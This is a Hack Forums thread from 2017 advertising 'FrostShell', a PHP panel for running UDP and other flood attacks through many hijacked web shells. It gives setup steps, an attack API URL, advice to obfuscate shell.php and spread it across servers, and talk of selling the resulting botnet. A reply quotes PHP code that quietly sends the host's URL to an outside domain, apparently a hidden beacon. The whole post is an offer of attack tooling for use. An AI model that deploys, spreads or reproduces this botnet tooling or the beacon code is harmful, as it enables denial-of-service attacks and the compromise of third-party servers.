

Forum:[Hack Forums](#)

Thread: [\[Release\] ~FrostShell~ Best PHP Shell Stresser Client And Server. \[PHP\] \[MySQL\]](#)

Frost4HD - February 4, 2017, 9:58 am

FrostShellFrostShell allows you to attack using multiple PHP shells at once while providing a usable API along with a database of your shells and regularly checking them all automated for your convenience simplifying the whole experience.

Requirements:-A web host with MySQL database support, PHP support, PHP "shell_exec" function support and curl (Most cPanel hosts support this however a VPS is preferred but not required)

Instructions:-

Upload files from the "upload" directory to your website host using FTP or an online file manager.

Add a new database and create a new user for the database.

Import the "db.sql" file from the "SQL" directory into the database.

Edit the "include.php" file with your MySQL database information.

Edit the "shell.php" file with your URL path to "db.php" e.g.

"https://mywebsite.com/somedirectory/db.php" keeping the information in the "shell.php" file which comes after the example URL (You may use your own PHP shell if you wish however the one I found works pretty well).

Upload the "shell.php" file to any another server and load the page once and check if it appears in your MySQL database.

(This step is optional but recommended) add a cron job to execute "php /home/yourdirectory/public_html/yourdirectory/check.php" every 10 mins (The location of this file may be different for you please change the cron job accordingly) an alternative to this would be to run "check.php" manually.

After all this your done! and ready to start spreading your "shell.php" file I would recommend encoding and obfuscating it first using <http://www.fopo.com.ar/> you may also execute your attacks using the index.php file provided.

API: attack.php?host=8.8.8.8&time=10&method=UDP&port=80

Whats Next:-Visual Basic attack execution application (I will probably make this tonight depending on how popular this gets).

Edited PHP booter source so you can sell off your new botnet.

Fix attack.php to use php5-curl to make it more compatible and secure.

Download And Virus Scan:-Download 1: [Mega.co.nz](https://mega.co.nz)

Download 2: [.cc/file/2332202fd132078734409a6b253a8f99](https://cc/file/2332202fd132078734409a6b253a8f99)anonfiles[WARNING POSSIBLY INFECTED]

Download 3: [DropBox](https://www.dropbox.com/)

VirusTotal: [VirusTotal](https://www.virustotal.com/) (1 / 55 "PHP:Flood-C [Trj]" I think its quite obvious why this is detected its the "shell.php" but feel free to use at your own risk)

This thread will be updated regularly with methods of gaining new PHP shells to add to your list however if you are stuck you can simply sign up for random free hosting accounts uploading the "shell.php" file however your hosting account may be suspended if you choose to do so.

Should you require any assistance or help please feel free to leave a reply asking for such and I will be more than happy to assist you as long as you have followed the instructions above which I have tried to make as simple as possible you may also request new features to be added if you can think of anything.

I know my PHP is not amazing cri cri and the attack.php method using shell_exec isn't the most secure I'm working on fixing it up using php5-curl soon. [Easter Egg :\)](#)

RCE - February 4, 2017, 10:26 am

what is the attacks method that this script provide it ?

SIM-2223238 - February 4, 2017, 10:29 am

```
<?php if(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !=  
'off'){ $url="https://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];  
}else{ $url="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];}@file_get_contents("http:  
//lemon-party.com/db.php?url=$url") ?>
```

??

????